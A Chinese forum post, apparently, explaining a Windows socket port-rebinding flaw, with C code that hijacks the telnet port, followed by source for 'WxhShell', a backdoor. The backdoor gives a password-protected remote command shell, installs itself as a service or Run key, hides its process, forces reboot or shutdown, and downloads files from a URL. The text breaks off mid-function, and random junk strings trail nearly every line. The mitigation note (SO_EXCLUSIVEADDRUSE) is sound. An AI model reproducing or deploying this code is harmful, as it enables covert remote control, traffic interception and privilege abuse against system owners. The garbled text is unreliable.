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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: duwZe+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5qFqH  
$aVcWz %  
  saddr.sin_family = AF_INET; GadD*psD2  
6t@3 a?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~>qcV=F^d,  
$osDw1C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Lo !kv*  
;H}? 8L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OvQG%D}P=  
=NlAGzv!w  
  这意味着什么?意味着可以进行如下的攻击:  okfhd{9  
.+ _x|?'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EpPKo  
7<X_\,I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )kg^.tP  
+VzR9ksJj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /J5wwQ (:  
X4 xnr^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l$z-'  
XFH7jHnL+U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :5p`H  
DQwbr\xy\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _d,_&7  
\ocJJc9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l? 7D0  
f`vB$r>  
  #include i]YH"t8GY  
  #include (AV j_Cw  
  #include Lw2EA 5  
  #include    @7.Ews5Mke  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &@nI(PXv  
  int main() SmC91XO  
  { dd_n|x1  
  WORD wVersionRequested; ,uK }$l  
  DWORD ret; l2z@t3{  
  WSADATA wsaData; O*T(aM3r  
  BOOL val; <08)G7  
  SOCKADDR_IN saddr; T[q2quXgk  
  SOCKADDR_IN scaddr; THkg,*;:  
  int err; -I '#G D>  
  SOCKET s; g2BE-0,R  
  SOCKET sc; p~BEz?e  
  int caddsize; 0.=dOz r  
  HANDLE mt; 9x23## s  
  DWORD tid;   i=nd][1n  
  wVersionRequested = MAKEWORD( 2, 2 ); SwXVa/9a"  
  err = WSAStartup( wVersionRequested, &wsaData ); 'de&9\  
  if ( err != 0 ) { ,F!zZNW9  
  printf("error!WSAStartup failed!\n"); 2V:`':  
  return -1; -QN1= G4  
  } eD 4X:^@  
  saddr.sin_family = AF_INET; ot($aY,t  
   +<a-;e{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e ^2n58  
9$$dSN\&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Uc^eIa@  
  saddr.sin_port = htons(23); <Z5-?wgf9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &N:Iirg  
  { u5;;s@{Ye4  
  printf("error!socket failed!\n"); jmPnUn  
  return -1; N:x--,2  
  } JuQwZ]3ed  
  val = TRUE; N?`V;`[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {bHUZen  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ' Dcj\=8  
  { ;x%"o[[>  
  printf("error!setsockopt failed!\n"); EM QGP<[  
  return -1; @ <(4J   
  } @QteC@k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {ppzg`G\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,.9k)\/V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B X\/Am11  
6~c#G{kc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4Hy/K^Ci  
  { 7zM9K+3L  
  ret=GetLastError(); HxSq &j*F  
  printf("error!bind failed!\n"); ~jC+6v  
  return -1; ];xDXQd  
  } qYoB;gp  
  listen(s,2); |;:g7eb  
  while(1) 0vX4v)-^u  
  { v%:VV*MxF  
  caddsize = sizeof(scaddr); ;/:Sx/#s  
  //接受连接请求 5`Q j<   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t:MSV?  
  if(sc!=INVALID_SOCKET) v5>A1\  
  { [?%q,>F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >)F "lR:o  
  if(mt==NULL) zD)/QFILy  
  { Hvb8+"?~  
  printf("Thread Creat Failed!\n"); XeX\u3<D  
  break; n{u\t+f  
  } &AN1xcx\  
  } B (Ps/  
  CloseHandle(mt); cbN;Kv?ak}  
  } m g,1*B'  
  closesocket(s); ^/_Yk.w  
  WSACleanup(); /~M H]Gh  
  return 0; o^XDG^35`  
  }   SQ_Je+X  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q$uv \h;  
  { Kci. ,I  
  SOCKET ss = (SOCKET)lpParam; G54J'*Z  
  SOCKET sc; `78Bv>[A  
  unsigned char buf[4096]; ~)^'5^  
  SOCKADDR_IN saddr; ;z.L^V0  
  long num; oNZ_7tU  
  DWORD val; d]poUN~x  
  DWORD ret; h5SJVa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q.p.$)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D/?Ec\ t  
  saddr.sin_family = AF_INET; NMe{1RM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %x N${4)6  
  saddr.sin_port = htons(23); v\GVy[Qyv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H4s~=iB  
  { gVrQAcJj  
  printf("error!socket failed!\n"); J$Z=`=] t+  
  return -1; 2]1u0-M5L  
  } U.KQjBi  
  val = 100; rUpe  ;c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) baBBn %_V  
  { W#S82  
  ret = GetLastError(); W%4=x>J-  
  return -1; O&1qL)  
  } _bGkJ=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) < Hkq  
  { B2e"   
  ret = GetLastError(); /TyGZ@S>m  
  return -1; d{"-iw)t  
  } ]I[~0PCSX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @(Y!$><Is  
  { 6$6QAW0+f  
  printf("error!socket connect failed!\n"); ;eN ^'/4A  
  closesocket(sc); &W,jR|B  
  closesocket(ss); yEq7ueJ'  
  return -1; K#YQB3rX  
  } .^?zdW  
  while(1) $P=C7;  
  { *!%lBt{2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l-Z( ]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =eDIvNps  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 * :O"R  
  num = recv(ss,buf,4096,0); `&M,B=E  
  if(num>0) sU"%,Q5  
  send(sc,buf,num,0); H_X^)\oJ  
  else if(num==0) B1V{3  
  break; -}#HaL#'K  
  num = recv(sc,buf,4096,0); ")T\_ME  
  if(num>0) LWyr  
  send(ss,buf,num,0); g w" \pD  
  else if(num==0) N-gYamlQ  
  break; u.|Z3=?VG  
  } F!]Sr'UA  
  closesocket(ss); Ot2o=^Ng  
  closesocket(sc); } o%^ Mu B  
  return 0 ; L5-|-PP|;  
  } MKl0 d  
_!nsEG VV  
q`VL i  
========================================================== WwDM^}e  
3 r&  
下边附上一个代码,,WXhSHELL :OG I|[  
$KK~KEZ2  
========================================================== "9wD|wsz  
Dwp,d~z  
#include "stdafx.h" m^k0j/  
98>GHl'lM  
#include <stdio.h> T$I_nxh[)L  
#include <string.h> 0B}4$STOo[  
#include <windows.h> H$KO[mW}  
#include <winsock2.h> K:wI'N"N  
#include <winsvc.h> %2?+:R5.  
#include <urlmon.h> xT%`"eM}  
n t}7|h|  
#pragma comment (lib, "Ws2_32.lib") p;O%W@n"  
#pragma comment (lib, "urlmon.lib") 5 % 2A[B  
}yz>(Pq  
#define MAX_USER   100 // 最大客户端连接数 V ~C$|+>e  
#define BUF_SOCK   200 // sock buffer *\sPHz.  
#define KEY_BUFF   255 // 输入 buffer ;2p+i/sVj  
tAdE<).!  
#define REBOOT     0   // 重启 _)M,p@!?=h  
#define SHUTDOWN   1   // 关机 F$C6( C?  
23s;O))  
#define DEF_PORT   5000 // 监听端口 \D7bTn  
qqrjI.  
#define REG_LEN     16   // 注册表键长度 V' Gal`  
#define SVC_LEN     80   // NT服务名长度 E>!=~ 7.  
bMyld&ga  
// 从dll定义API e$# *t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |A8@r&   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2cR[~\_9.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zLpCKndj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IS2cU'   
hH %>  
// wxhshell配置信息 p+VU:%.t  
struct WSCFG { .ZpOYhk  
  int ws_port;         // 监听端口 i%hCV o  
  char ws_passstr[REG_LEN]; // 口令 WsI`!ez;D  
  int ws_autoins;       // 安装标记, 1=yes 0=no !@xO]Jwv  
  char ws_regname[REG_LEN]; // 注册表键名 Vy\Vpp  
  char ws_svcname[REG_LEN]; // 服务名 -V2\s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N3%X>*'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @(3F4Z.i%.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >f(?Mxh2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k }=<51c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kZ40a\9 Ye  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zf'*pp T&q  
RkF#NCnL;  
}; >STtX6h  
jD: N)((  
// default Wxhshell configuration ]A*}Dem*5  
struct WSCFG wscfg={DEF_PORT, %#HU~X:  
    "xuhuanlingzhe", fB+L%+mr8  
    1, y&/IJst&aq  
    "Wxhshell", C($l'jd&  
    "Wxhshell", !"rPSGK*  
            "WxhShell Service", xa>| k>I  
    "Wrsky Windows CmdShell Service", =>jp\A  
    "Please Input Your Password: ", H_+n_r*  
  1, #9vC]Gm  
  "http://www.wrsky.com/wxhshell.exe", LG #^g6P  
  "Wxhshell.exe" BR,-:?z  
    }; KZm&sk=QM-  
_yg_?GH  
// 消息定义模块 ^L[:DB{Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2jsbg{QS#_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *FlPGBjJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "6B7EH  
char *msg_ws_ext="\n\rExit."; p"g|]@m  
char *msg_ws_end="\n\rQuit."; OQVrg2A%(  
char *msg_ws_boot="\n\rReboot..."; }9~^}99}  
char *msg_ws_poff="\n\rShutdown..."; 7=!9kk0  
char *msg_ws_down="\n\rSave to "; wPA^nZ^}9c  
__=H"UhWv  
char *msg_ws_err="\n\rErr!"; 79\ wjR!T  
char *msg_ws_ok="\n\rOK!"; _P>YG<*"kQ  
#[93$)Gd!  
char ExeFile[MAX_PATH]; IGlR,tw_/  
int nUser = 0; i5,iJe0cA  
HANDLE handles[MAX_USER]; ).T&fa"  
int OsIsNt; -%nD'qy,.  
18X@0e  
SERVICE_STATUS       serviceStatus; g3R(,IH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Syk)S<  
\Wbmmd}8  
// 函数声明 TT$A o  
int Install(void); FFHq':v  
int Uninstall(void); QV;o9j  
int DownloadFile(char *sURL, SOCKET wsh); ,_[x|8m  
int Boot(int flag); qQ@| Cj  
void HideProc(void); 9U8M|W|d  
int GetOsVer(void); S,Y|;p<+^  
int Wxhshell(SOCKET wsl); c}(WniR-"  
void TalkWithClient(void *cs); *@U{[J  
int CmdShell(SOCKET sock); hHs/Qtq  
int StartFromService(void); #6`5-5Ks;  
int StartWxhshell(LPSTR lpCmdLine); P3M$&::D-  
6{Wo5O{!\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 04a ^jjc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aSL`yuXu  
1+l8%G=hB  
// 数据结构和表定义 rIyH/=;  
SERVICE_TABLE_ENTRY DispatchTable[] = ;b~ S/   
{ PwY/VGT  
{wscfg.ws_svcname, NTServiceMain}, 'ofj1%c  
{NULL, NULL} v^|U?  
}; ,:_c-d#  
$=aO*i  
// 自我安装 @6u/)>rI  
int Install(void) 7|rH9Bc{U  
{ tne_]+  
  char svExeFile[MAX_PATH]; sZ;|NAx)  
  HKEY key; D6 B-#u!M  
  strcpy(svExeFile,ExeFile); @^{Hq6_`  
2 $>DX\h  
// 如果是win9x系统,修改注册表设为自启动 Z\&f"z?L  
if(!OsIsNt) { sD|l}f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4S_ -9&z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xn7G2Yp  
  RegCloseKey(key); C2 N+X(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c9(3z0!F ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] V D  
  RegCloseKey(key); +v~x gUs  
  return 0; i"{O~[  
    } e#Tv5O  
  } +pofN-*%  
} >{#JIG.  
else { %#6@PQ[R.  
fF Q|dE;cF  
// 如果是NT以上系统,安装为系统服务 K$E3RB_F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b#j:)PA0C  
if (schSCManager!=0) 2HbnE&  
{ e UPa5{P  
  SC_HANDLE schService = CreateService 9&mSF0q  
  ( bO~y=Pa \  
  schSCManager, mHD_cgKN  
  wscfg.ws_svcname, WT *"V<Z  
  wscfg.ws_svcdisp, R@e'=z[%1  
  SERVICE_ALL_ACCESS, 8K%N7RL|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G0FzXtu)q  
  SERVICE_AUTO_START, %mI0*YRma  
  SERVICE_ERROR_NORMAL, 'yo@5*x7  
  svExeFile, i FI74COam  
  NULL, #]#9Xq  
  NULL, 9A .RD`fg  
  NULL, b R\7j+*&  
  NULL, qxL\G &~  
  NULL pR0[qsQM  
  ); )^(*B6;z5  
  if (schService!=0) K<JzIuf&  
  { ts]e M1;  
  CloseServiceHandle(schService); FU`(mQ*Yd  
  CloseServiceHandle(schSCManager); *$p*'vR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h my%X`%j  
  strcat(svExeFile,wscfg.ws_svcname); r )|3MUj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i~B?p[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8}/DD^M  
  RegCloseKey(key); 0G%9 @^B  
  return 0; s!6lZ mPM  
    } 5Xy(za  
  } ;(Yb9Mr)z  
  CloseServiceHandle(schSCManager); "ra$x2|=}  
} 9QZaa(vN  
} lu utyK!  
qF)J#$4;6  
return 1; u?').c4  
} awLvLkQb{  
a~o <>H  
// 自我卸载 XF`2*:7  
int Uninstall(void) P^Hgm  
{ +Y;P*U}Qg[  
  HKEY key; Mz+I YP`L  
h>Kx  
if(!OsIsNt) { 1" '3/MFQ8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ple.fKu  
  RegDeleteValue(key,wscfg.ws_regname); -@Ap;,=  
  RegCloseKey(key); sz7*x{E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kc'$4 J4Tw  
  RegDeleteValue(key,wscfg.ws_regname); %VHy?!/  
  RegCloseKey(key); (leX` SN0u  
  return 0; Iix,}kzss  
  } r&=ulg  
} ,BdObx  
} jkeerU6  
else { X$};K \I  
W'G|sk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d_[H|H9i6  
if (schSCManager!=0) 1(' wg!  
{ %-hSa~20  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uWS]l[Ga  
  if (schService!=0) )Q2Ap&  
  { t~2oEwTm  
  if(DeleteService(schService)!=0) { f\&X$g  
  CloseServiceHandle(schService); pyEQb#  
  CloseServiceHandle(schSCManager); 2- iY:r  
  return 0; !$)reaS  
  } HZrA}|:h  
  CloseServiceHandle(schService); J+D|/^  
  } :UwBs  
  CloseServiceHandle(schSCManager); S!K<kn`E3  
} 4:MvC^X~z  
} Jb,54uN  
.G/Rh92  
return 1; vG|!d+  
} z']6C9m}  
xj5TnE9^  
// 从指定url下载文件 KGt:  
int DownloadFile(char *sURL, SOCKET wsh) KpN]9d   
{ X G#?fr}L  
  HRESULT hr; &YFe"C  
char seps[]= "/"; >N&{DJmD  
char *token; #.8v[TkKq  
char *file; *F$@!ByV  
char myURL[MAX_PATH]; TE`5i~R*  
char myFILE[MAX_PATH]; Va!G4_OT  
^[hAj>7_8$  
strcpy(myURL,sURL); =OufafZb  
  token=strtok(myURL,seps); 7cc^n\c?Y  
  while(token!=NULL) -jQ*r$iRE  
  { hqRC:p#9  
    file=token; 0 kJ8H!~u  
  token=strtok(NULL,seps); Y e0,0Fpw  
  } lHiWzt u  
~[H8R|j "  
GetCurrentDirectory(MAX_PATH,myFILE); Y S3~sA  
strcat(myFILE, "\\"); WZa6*pF  
strcat(myFILE, file); -TD\?Q  
  send(wsh,myFILE,strlen(myFILE),0); hcVu`Bn  
send(wsh,"...",3,0); k?=1q[RQH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bH+NRNI]  
  if(hr==S_OK) VQIvu)I  
return 0; [;m@A\F  
else TX)W.2u=  
return 1; dv+Gv7&2/  
Q#MB=:0 {  
} 4!sK>l!  
&l6@C3N$  
// 系统电源模块 .2I?^w&j+  
int Boot(int flag) #1dVp!?3T  
{ tSy 9v  
  HANDLE hToken; |JkfAnrN$I  
  TOKEN_PRIVILEGES tkp; 9hr7+fW]t  
*eg0^ByeD  
  if(OsIsNt) { "DN,1Q lCp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _2KIe(,;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,ye}p 1M  
    tkp.PrivilegeCount = 1; 8T+9 fh]I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >H+t ZV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (wj:Gc  
if(flag==REBOOT) { ?}`- ?JB1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c0wLc,)G  
  return 0; 2n.HmS  
} NX\AQVy9  
else { ,nf}4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >/ _#+,  
  return 0; R_!'=0}V  
} l/k-` LeW  
  } )qx;/=D  
  else { G]h_z|$K  
if(flag==REBOOT) { B=Kr J{&!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G=y~)B}  
  return 0; }NDl~5  
} GVhqNy   
else { KHx2$*E_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5mam WPw  
  return 0; zS:2?VXxq  
} 'p5M|h\:T  
} &~2m@X(o  
=`x }9|[  
return 1; /mwUDf6x  
} J4+WF#xI2  
;_\y g)X,  
// win9x进程隐藏模块 Hn >VPz+I  
void HideProc(void) =%8 yEb*5#  
{ [~Ky{:@)[  
s[GHDQ;!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /KvJjt'8  
  if ( hKernel != NULL ) _Q:z -si  
  { OUWK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YPx+9^)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4AN8Sx(  
    FreeLibrary(hKernel); x8aOXN#w}  
  } LZ wCe$1  
yF\yxdUX#  
return; mr7Oi `dE  
} D>k(#vYKB  
XQ~Xls%]   
// 获取操作系统版本 U4 *u|A  
int GetOsVer(void) OPN\{<`*d  
{  kNK0KL  
  OSVERSIONINFO winfo; =F|9 ac9X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j-d&4,a:c  
  GetVersionEx(&winfo); \^6[^\@[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2|x !~e.  
  return 1; %GTFub0 F  
  else R?u(aY)P  
  return 0; U[MeK)*  
} xO_>%F^?  
HW]?%9a  
// 客户端句柄模块 rf H1Zl  
int Wxhshell(SOCKET wsl) ?j8!3NCl}  
{ dnomnY(*<  
  SOCKET wsh; *%/O (ohs@  
  struct sockaddr_in client; zG$5g^J  
  DWORD myID; D\G.p |9=  
/a*){JQ5j  
  while(nUser<MAX_USER) F.U@8lr  
{ $B8Vg `+  
  int nSize=sizeof(client); gy@=)R/~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eP" B3Jw  
  if(wsh==INVALID_SOCKET) return 1;  @_f^AQ  
s! 2[zJ19p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hZfj$|<  
if(handles[nUser]==0) ]y.V#,6e  
  closesocket(wsh); (o*YGYC  
else msxt'-$M  
  nUser++; 6yy%_+k*  
  } .v(GVkE}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wH8J?j"5>  
,=\.L_'  
  return 0; i{m!v6j:  
} x</4/d  
T/E=?kBR  
// 关闭 socket T#Q7L~?zY  
void CloseIt(SOCKET wsh) <oJ?J^  
{ tx7 zG.,  
closesocket(wsh); 2*Qi4%s#  
nUser--; $ (;:4  
ExitThread(0); |'-aR@xJ  
} !#pc@(rE  
#I?Z,;DI=  
// 客户端请求句柄 zc8^#D2y&  
void TalkWithClient(void *cs) <=p>0L  
{ hYpxkco"4'  
QOEi.b8r  
  SOCKET wsh=(SOCKET)cs; 8!|vp7/  
  char pwd[SVC_LEN]; C W#:'  
  char cmd[KEY_BUFF]; Hy4;i^Ik <  
char chr[1]; +z nlf-  
int i,j; F oC $X  
|;NfH|43;  
  while (nUser < MAX_USER) { la<.B^  
_^Q!cB'~/`  
if(wscfg.ws_passstr) { S[!6Lw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1iY4|j;ahV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~\(c;J*Ir  
  //ZeroMemory(pwd,KEY_BUFF);  nBp6uNK[  
      i=0; rwJ U;wy  
  while(i<SVC_LEN) { l,lqhq\  
0e<>2AL   
  // 设置超时 g,]o+nT  
  fd_set FdRead; keLeD1  
  struct timeval TimeOut; aC`>~uX##V  
  FD_ZERO(&FdRead); F/ZFO5C%  
  FD_SET(wsh,&FdRead); o3hgkoF   
  TimeOut.tv_sec=8; we[+6Z6J  
  TimeOut.tv_usec=0; l#enbQ`-~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ld ]*J}cw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lXTE#,XVf  
YA,~qT|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lND2Kb  
  pwd=chr[0]; ! DOyOTR&3  
  if(chr[0]==0xd || chr[0]==0xa) { by'KJxl[  
  pwd=0; beo(7,=&  
  break; :=y5713  
  } zEU[u7%  
  i++; Ez~5ax7x  
    } "7y, d%H  
*JDz0M4f  
  // 如果是非法用户,关闭 socket  7qy PI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z*h:Nt%.  
} 2j8GJU/L  
iH4LZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iV/I909*''  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JD#q6 &|  
JrOx nxd^  
while(1) { j yD3Sa3  
R`@T<ob)  
  ZeroMemory(cmd,KEY_BUFF); chL1r9V)v  
pp"#pl  
      // 自动支持客户端 telnet标准   s4_Dqm  
  j=0; Zpg;hj5_  
  while(j<KEY_BUFF) { enJ; #aA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qwpni^D8j  
  cmd[j]=chr[0]; uQ-GJI^t  
  if(chr[0]==0xa || chr[0]==0xd) { (*$F7oO<  
  cmd[j]=0; 2pdeJ  
  break; FShjUl>mV  
  } I;NW!"pU  
  j++; ,:PMS8pS  
    }  j5/pVXO  
'(@q"`n  
  // 下载文件 ZwBz\jmbP  
  if(strstr(cmd,"http://")) { IMwV9rF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~BuzI9~7P  
  if(DownloadFile(cmd,wsh)) w{aGH/LN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3h:~NL  
  else n5kGHL2   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ji\r]k  
  } *|Vf1R]  
  else { sMGo1pG(  
N_NN0  
    switch(cmd[0]) { ?Vd~  
  ;Va(l$zD  
  // 帮助 Q&:)D7m\)S  
  case '?': { rQ{|0+l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zA9q`ePS  
    break; ?pZU'5le`  
  } 5zBA]1PY  
  // 安装 LH(P<k&  
  case 'i': { FDD=I\Ic  
    if(Install()) ~\JB)ca.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zb=NcEPGy  
    else J[:#(c&c!1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(^P#EEG  
    break; 0RA#Y(IR  
    } B{&W|z{$  
  // 卸载 L@GICW~  
  case 'r': { LHA^uuBN}  
    if(Uninstall()) ij0I!ilG4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7]S  
    else Pv5S k8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F%-@_IsG#  
    break; `f}s<At  
    } z )hK2JD  
  // 显示 wxhshell 所在路径 8%CznAO"?W  
  case 'p': { 6 8,j~e3-i  
    char svExeFile[MAX_PATH]; ,WWd%DF)  
    strcpy(svExeFile,"\n\r"); .)[E`a  
      strcat(svExeFile,ExeFile); 1rZ E2  
        send(wsh,svExeFile,strlen(svExeFile),0); 6ioj!w<N  
    break; Pg T3E  
    } +pqbl*W;1  
  // 重启 9f0`HvHC  
  case 'b': { ?I^$35  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h@R n)D  
    if(Boot(REBOOT)) HjA~3l7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~}H,*)  
    else { VYb,Hmm>kC  
    closesocket(wsh); Ld*Ds!*'/  
    ExitThread(0); #a=]h}&1?  
    } *,G< X^  
    break; 2x<BU3  
    } fQib?g/G  
  // 关机 M _< |n  
  case 'd': { n R,QG8  
